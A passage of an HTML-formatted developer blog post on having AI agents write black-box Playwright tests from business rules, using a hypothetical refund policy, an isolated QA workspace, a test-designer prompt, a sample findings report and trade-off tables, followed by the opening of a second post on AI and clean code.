&lt;td&gt;What the business rule says&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Off-by-one in a rule&lt;/td&gt;
&lt;td&gt;Encoded as correct&lt;/td&gt;
&lt;td&gt;Flagged as a failure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Missing rule in the code&lt;/td&gt;
&lt;td&gt;Easy to miss (no code to suggest a test)&lt;/td&gt;
&lt;td&gt;Found: the rule exists, the behavior doesn't&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ambiguous rule&lt;/td&gt;
&lt;td&gt;Silently resolved by the implementation&lt;/td&gt;
&lt;td&gt;Surfaced as an open question&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Refactoring the code&lt;/td&gt;
&lt;td&gt;Tests often break&lt;/td&gt;
&lt;td&gt;Tests survive, behavior is the contract&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That third row is the one people miss. If nobody implemented "only the order owner can request a refund", there's no code that suggests the test. A black-box agent reads the rule and tries it.&lt;/p&gt;

&lt;p&gt;To be fair to white-box testing: an agent with the code &lt;em&gt;and&lt;/em&gt; an independent list of requirements could catch this too. Code access isn't the defect. &lt;strong&gt;When an agent derives its expectations from the implementation, it reproduces the misunderstandings already in the code.&lt;/strong&gt; In my view, keeping the code away from the testing agent is the simplest way to stop that from happening.&lt;/p&gt;




&lt;h2&gt;
  
  
  What black-box testing means (and what agents add to it)
&lt;/h2&gt;

&lt;p&gt;Black-box testing is old. The ISTQB calls it specification-based testing: you derive test cases from the requirements and the observable behavior, without looking at the internal structure. The classic techniques are still the right ones (chapter 4 of the &lt;a href="https://istqb.org/certifications/certified-tester-foundation-level-ctfl-v4-0/" rel="noopener noreferrer"&gt;ISTQB Foundation Level syllabus&lt;/a&gt;, free to download):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Equivalence partitioning&lt;/strong&gt;: group inputs that should behave the same and test one from each group.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Boundary value analysis&lt;/strong&gt;: test at and right next to each limit (29, 30 and 31 days for a 30-day window).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Decision tables&lt;/strong&gt;: list every combination of conditions in a rule that has several of them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;State transition testing&lt;/strong&gt;: for anything with a lifecycle, test valid and invalid transitions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The techniques were never the hard part. The hard part was the labor: turning fifty business rules into a few hundred precise cases is slow, boring work, and people skip the boring edges. That's exactly where LLMs are useful. They're good at reading a rule in plain language and systematically expanding it into partitions, boundaries and combinations, and they don't get bored at case 140.&lt;/p&gt;

&lt;p&gt;What the agent must &lt;strong&gt;not&lt;/strong&gt; do is invent the expected result. The value of the whole approach depends on expectations coming from the rules, so the pipeline has to make that a hard boundary, not a polite request.&lt;/p&gt;




&lt;h2&gt;
  
  
  The pipeline: rules in, findings out
&lt;/h2&gt;

&lt;p&gt;This is the setup I'd build today. After a one-time setup (step 0, isolation), it has four steps: write the rules, design the cases, generate the tests, then run and triage. Three agents do the work, and humans review at two checkpoints.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;business rules ──▶ [1. test designer] ──▶ test cases + open questions
                                                │
                                         human review
                                                │
                     [2. test generator] ◀──────┘
                              │
                     executable tests ──▶ run against staging (public interfaces only)
                                                │
                     [3. triage] ◀──────────────┘
                              │
                     findings report ──▶ human decides: bug, rule gap or bad test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 0 (setup): isolate the agents from the code
&lt;/h3&gt;

&lt;p&gt;The simplest way to stop an agent from reading the code is to make sure the code isn't there. I wouldn't rely on instructions ("don't open &lt;code&gt;src/&lt;/code&gt;") or on a deny list that may not cover every tool. Give the testing agents their own workspace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;qa-workspace/               # everything the testing agents can see
├── rules/refunds.md        # business rules, each with an ID
├── contracts/openapi.yaml  # the public API contract clients already get
├── cases/                  # generated test cases (Markdown)
├── tests/                  # generated Playwright tests
└── .env.test               # BASE_URL + test-only credentials (gitignored)
# The application repository is not cloned here.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agents talk to the system only through what a real client would use: the public API and the UI of a staging environment. &lt;strong&gt;If the agent can't reach it from outside, it isn't part of the test.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Isolation is necessary, but it doesn't make the oracle independent on its own. That depends on where the expectations come from. If someone writes the rules by watching what the current system does, or "fixes" a failing expectation to match what the system returned, the oracle depends on the implementation again, just one step removed. Expectations come from rules that the business has reviewed, and a failing test changes only when the rule changes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: write the rules so they can be tested
&lt;/h3&gt;

&lt;p&gt;Garbage in, garbage out applies hard here. The rules don't need a formal language, but each one needs an ID and a single, checkable statement. Here's a hypothetical refund policy for an online store, which I'll use for the rest of the post:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gh"&gt;# Refund rules&lt;/span&gt;
&lt;span class="p"&gt;
-&lt;/span&gt; BR-01: A customer can request a refund up to 30 days after delivery.
&lt;span class="p"&gt;-&lt;/span&gt; BR-02: Refunds above 500.00 EUR require manager approval before payout.
&lt;span class="p"&gt;-&lt;/span&gt; BR-03: Digital items cannot be refunded after they have been downloaded.
&lt;span class="p"&gt;-&lt;/span&gt; BR-04: The total refunded for an order can never exceed the amount paid.
&lt;span class="p"&gt;-&lt;/span&gt; BR-05: Only the customer who placed the order can request its refund.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that these are written the way a product owner would write them, not the way a developer would. That's the point. If your rules only exist in people's heads or in Jira comments, collecting them into a file like this is the first deliverable, and often a valuable one on its own.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: the test designer agent
&lt;/h3&gt;

&lt;p&gt;The first agent turns rules into cases. The prompt does two jobs: it tells the model which techniques to apply, and it forbids guessing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a QA analyst. You have not seen the application's code and you
must not ask for it.

Input: the business rules below, each with an ID.

For every rule:
1. Derive test cases using equivalence partitioning, boundary values,
   decision tables (for combined conditions) and state transitions
   (for lifecycles). Include invalid and unauthorized cases.
2. Write each case as: case ID, rule ID(s), technique, preconditions,
   Given/When/Then, expected result.
3. Expected results must come only from the rules. If a rule does not
   say what should happen, do not guess: add the case to an
   "Open questions" list instead.

Output: a Markdown table of cases, then the open questions.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For BR-01 and BR-02, a good output looks something like this (trimmed):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Case&lt;/th&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Given / When&lt;/th&gt;
&lt;th&gt;Expected&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;TC-01&lt;/td&gt;
&lt;td&gt;BR-01&lt;/td&gt;
&lt;td&gt;Boundary&lt;/td&gt;
&lt;td&gt;Delivered 29 days ago, refund requested&lt;/td&gt;
&lt;td&gt;Accepted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TC-02&lt;/td&gt;
&lt;td&gt;BR-01&lt;/td&gt;
&lt;td&gt;Boundary&lt;/td&gt;
&lt;td&gt;Delivered 30 days ago, refund requested&lt;/td&gt;
&lt;td&gt;Accepted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TC-03&lt;/td&gt;
&lt;td&gt;BR-01&lt;/td&gt;
&lt;td&gt;Boundary&lt;/td&gt;
&lt;td&gt;Delivered 31 days ago, refund requested&lt;/td&gt;
&lt;td&gt;Rejected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TC-04&lt;/td&gt;
&lt;td&gt;BR-02&lt;/td&gt;
&lt;td&gt;Boundary&lt;/td&gt;
&lt;td&gt;Refund of 500.01 EUR&lt;/td&gt;
&lt;td&gt;No payout until a manager approves&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TC-05&lt;/td&gt;
&lt;td&gt;BR-02&lt;/td&gt;
&lt;td&gt;Boundary&lt;/td&gt;
&lt;td&gt;Refund of 500.00 EUR&lt;/td&gt;
&lt;td&gt;No manager approval required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TC-06&lt;/td&gt;
&lt;td&gt;BR-05&lt;/td&gt;
&lt;td&gt;Partition&lt;/td&gt;
&lt;td&gt;User B requests refund on user A's order&lt;/td&gt;
&lt;td&gt;Rejected&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;And the open questions list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Q1 (BR-01): Is "30 days" counted in calendar days, and in which time zone?
Q2 (BR-03): Does a partial download count as "downloaded"?
Q3 (BR-02 + BR-04): Do two refunds of 300 EUR on the same order need approval?
Q4 (BR-02): At 500.00 EUR or less, is the payout immediate or still queued?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The open questions are a deliverable, not noise.&lt;/strong&gt; Every one of them is a place where two developers could have implemented different behavior and both claimed they followed the spec. A product owner answers them in minutes, and the answers go back into the rules file.&lt;/p&gt;

&lt;p&gt;This is the first human checkpoint: someone who knows the business skims the cases and answers the questions before anything runs. It's a much cheaper review than reading test code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: generate executable tests, not live improvisation
&lt;/h3&gt;

&lt;p&gt;You could let an agent click through the app and decide on the fly whether things look right. I wouldn't. A run you can't repeat is a run you can't trust, and you want to re-run the same suite after every fix.&lt;/p&gt;

&lt;p&gt;So the second agent turns approved cases into ordinary test code, here with &lt;a href="https://playwright.dev/" rel="noopener noreferrer"&gt;Playwright&lt;/a&gt;, which covers both API and UI tests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;expect&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@playwright/test&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createDeliveredOrder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;loginAs&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./fixtures&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// TC-02 / BR-01: day 30 after delivery is still inside the refund window&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;TC-02 BR-01: refund accepted on day 30 after delivery&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;customer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;loginAs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;customer-a&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createDeliveredOrder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;deliveredDaysAgo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/api/orders/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/refunds`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="c1"&gt;// BR-01 says "accepted"; 201 is how the API contract says "accepted"&lt;/span&gt;
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;toBe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This snippet is illustrative: &lt;code&gt;loginAs&lt;/code&gt; and &lt;code&gt;createDeliveredOrder&lt;/code&gt; are fixtures you have to provide, and &lt;code&gt;baseURL&lt;/code&gt; comes from the Playwright config. The test name carries the case and rule IDs, which is what makes the final report traceable back to the business.&lt;/p&gt;

&lt;p&gt;Notice where the &lt;code&gt;201&lt;/code&gt; comes from. The business rule only says the refund is accepted; it says nothing about HTTP. The status code comes from the public API contract in the workspace, which is still a black-box source: it's what any client integrating with the API reads. So the generator gets two inputs, the approved cases (the behavior) and the contract (how that behavior shows up on the wire), and neither one is the implementation. If the contract doesn't say how "accepted" looks, that's another open question, not a guess.&lt;/p&gt;

&lt;p&gt;If you test through the UI, Playwright's own &lt;a href="https://playwright.dev/docs/test-agents" rel="noopener noreferrer"&gt;test agents&lt;/a&gt; (planner, generator and healer, set up with &lt;code&gt;npx playwright init-agents --loop=claude&lt;/code&gt;, or the loop for your tool) can do much of this step. The planner can take a product requirements document as context, which fits this approach well. Review what the healer changes, though: in a black-box setup, a test that fails because the app is wrong must stay failing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: run, triage and report
&lt;/h3&gt;

&lt;p&gt;Run the suite against staging. Then a third agent, or the same one in a fresh session, turns the raw results into the report people actually read. For each failure it records the rule, the case, what was expected, what happened, and the evidence (response body, screenshot or trace).&lt;/p&gt;

&lt;p&gt;The agent also proposes a verdict, because not every red test is a bug:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bug&lt;/strong&gt;: the system contradicts a clear rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rule gap&lt;/strong&gt;: the rule doesn't say, and the system picked a behavior. Goes to the product owner.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bad test&lt;/strong&gt;: the agent misread the rule or the test setup is wrong. Goes back to step 2.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The proposed verdict is a starting point; the second human checkpoint is someone confirming it before anything becomes a ticket.&lt;/p&gt;




&lt;h2&gt;
  
  
  A worked example: what the findings report looks like
&lt;/h2&gt;

&lt;p&gt;Here's what a report for the refund rules could look like. This is a hypothetical run, built to show the format and the kinds of issues the approach catches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## Findings: refund rules, staging&lt;/span&gt;

| # | Rule  | Case                                         | Expected        | Actual                       | Verdict        |
|---|-------|----------------------------------------------|-----------------|------------------------------|----------------|
| 1 | BR-01 | Refund on day 30 after delivery              | Accepted        | 422 "refund window expired"  | Bug            |
| 2 | BR-04 | Two partial refunds totalling 110% of order  | Second rejected | Both accepted                | Bug            |
| 3 | BR-05 | User B refunds user A's order                | Rejected        | 201 Created                  | Bug (security) |
| 4 | BR-02 | Two refunds of 300 EUR on one order          | Unclear (Q3)    | Paid without approval        | Rule gap       |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at what each line represents. Finding 1 is the off-by-one a white-box agent would have locked in. Finding 2 only shows up when you combine two rules, which is exactly what decision tables are for. Finding 3 is a broken access control bug: an ownership rule written in business language turned into a security test without anyone asking for a "security test". Finding 4 isn't a bug at all, it's a business decision nobody made.&lt;/p&gt;

&lt;p&gt;This is the kind of output I saw at that company, and it's why the approach stuck. &lt;strong&gt;Developers argue with test code. It's much harder to argue with "the rule says X, the system did Y, here's the response".&lt;/strong&gt; The report speaks the language of the people who own the rules, so it gets acted on.&lt;/p&gt;




&lt;h2&gt;
  
  
  Trade-offs: when black-box agents are the wrong tool
&lt;/h2&gt;

&lt;p&gt;This approach complements your existing tests. It doesn't replace them.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Black-box agents&lt;/th&gt;
&lt;th&gt;White-box agent tests&lt;/th&gt;
&lt;th&gt;Human exploratory QA&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Finds missing behavior&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Sometimes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finds edge cases in internal logic&lt;/td&gt;
&lt;td&gt;Only if observable&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Rarely&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Speed of feedback&lt;/td&gt;
&lt;td&gt;Minutes to hours (needs a deployed env)&lt;/td&gt;
&lt;td&gt;Seconds&lt;/td&gt;
&lt;td&gt;Days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Setup cost&lt;/td&gt;
&lt;td&gt;Rules file, staging env, test data fixtures&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;People's time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best at&lt;/td&gt;
&lt;td&gt;"Does the system do what the business asked?"&lt;/td&gt;
&lt;td&gt;"Does this function do what it should?"&lt;/td&gt;
&lt;td&gt;"Does this feel right to a user?"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Skip it, or don't expect much from it, when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The rules aren't written down.&lt;/strong&gt; If the spec is the code, the agent has nothing independent to test against. Writing the rules comes first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You can't set up state from the outside.&lt;/strong&gt; Black-box tests need a way to create "an order delivered 30 days ago" through an API, a seed endpoint or fixtures. Without that, most boundary cases are untestable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The behavior isn't observable.&lt;/strong&gt; Caching, retries, internal queues: if the effect doesn't show up in an API response, a UI or an email, a black-box test can't see it. Those belong in unit and integration tests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The question is about UX, performance or load.&lt;/strong&gt; Those need other tools and, for UX, people.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two costs are easy to underestimate. First, &lt;strong&gt;false failures&lt;/strong&gt;: the agent will sometimes misread a rule, and every bad test costs someone time to triage. The open-questions step and the human review of cases are what keep that rate down. Second, &lt;strong&gt;a stable environment&lt;/strong&gt;: a flaky staging environment turns every run into noise, and noise is how teams stop reading the report.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Isn't this just BDD with extra steps?&lt;/strong&gt;&lt;br&gt;
It shares the idea that behavior is the contract, and Given/When/Then is a fine format for the cases. The difference is who writes the scenarios and who can see what. In BDD the team writing the code usually writes the scenarios too. Here, the agent writing the tests never sees the code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can the same model write the code and the black-box tests?&lt;/strong&gt;&lt;br&gt;
The same model, yes. The same session or context, no. What matters is that the test designer's input is the rules and nothing derived from the implementation. A fresh session in a separate workspace with no repository is enough.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Doesn't the agent need the code to find UI selectors?&lt;/strong&gt;&lt;br&gt;
No. Playwright locators work best with roles and visible labels (&lt;code&gt;getByRole&lt;/code&gt;, &lt;code&gt;getByLabel&lt;/code&gt;), which come from what the user sees, not from the source. If a button can't be found by its role and name, that's often an accessibility finding in itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How is this related to holdout scenarios?&lt;/strong&gt;&lt;br&gt;
It's the same principle. StrongDM's team, &lt;a href="https://simonwillison.net/2026/Feb/7/software-factory/" rel="noopener noreferrer"&gt;as described by Simon Willison&lt;/a&gt;, keeps end-to-end scenarios outside the codebase so coding agents can't see them. Black-box testing from rules is a way to build that holdout set without hand-writing every scenario.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What about secrets and test credentials?&lt;/strong&gt;&lt;br&gt;
Use test-only accounts on a staging environment, keep them in a gitignored env file, and never point the agents at production. The agents only need what a regular customer would have.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;An oracle derived from the code confirms bugs instead of finding them.&lt;/strong&gt; Expectations must come from somewhere the implementation can't shape.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Give the testing agent the rules and the public contract, nothing from the implementation.&lt;/strong&gt; Physical isolation (no repository in its workspace) beats instructions, but reviewed rules are what make the oracle independent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make expected results come only from the rules.&lt;/strong&gt; Anything the rules don't cover becomes an open question, not a guess.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Generate repeatable test code&lt;/strong&gt; with rule IDs in the test names, so every failure traces back to a business rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deliver a findings report, not a test log.&lt;/strong&gt; "Rule X, expected Y, got Z" is what gets bugs fixed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep humans at two points&lt;/strong&gt;: approving the cases and confirming the verdicts.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Generating more tests was never the hard part. What AI agents make cheap is an independent check of whether the software keeps the promises the business made, written in the business's own words.&lt;/p&gt;

&lt;p&gt;Have you tried letting agents test a system without showing them the code? I'd like to hear what the first findings report surprised you with, or why you decided against it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where every article becomes a visual carousel you can save, like the 4-step version of this pipeline. This article also has a video walkthrough on my YouTube channel, &lt;a href="https://youtube.com/@diogosoaresdev" rel="noopener noreferrer"&gt;Diogo Soares Dev&lt;/a&gt;, so subscribe there for the next ones. Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>testing</category>
      <category>softwareengineering</category>
      <category>qa</category>
    </item>
    <item>
      <title>Your AI Knows SOLID and Clean Code. Does It Actually Use Them?</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Thu, 22 Oct 2026 08:22:15 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/your-ai-knows-solid-and-clean-code-does-it-actually-use-them-46cg</link>
      <guid>https://dev.to/soaresdiogo/your-ai-knows-solid-and-clean-code-does-it-actually-use-them-46cg</guid>
      <description>&lt;p&gt;Ask any modern model to explain the Strategy pattern and you get a textbook answer: the intent, a UML sketch, a TypeScript example and a note on when not to use it.&lt;/p&gt;

&lt;p&gt;Then, in the same session, ask it for a feature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Add a 10% discount for VIP customers at checkout.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And a very typical result looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;checkout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cartId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findUnique&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;cartId&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
